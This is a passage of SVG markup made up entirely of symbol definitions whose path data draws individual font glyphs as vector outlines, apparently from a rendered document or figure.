L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="t"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="u"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="w"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="R"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="Y"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="aa"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="ab"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="ac"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="ad"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="ae"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="af"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="ag"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="x"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="y"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="z"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="A"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="C"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="D"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="E"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="F"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="G"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 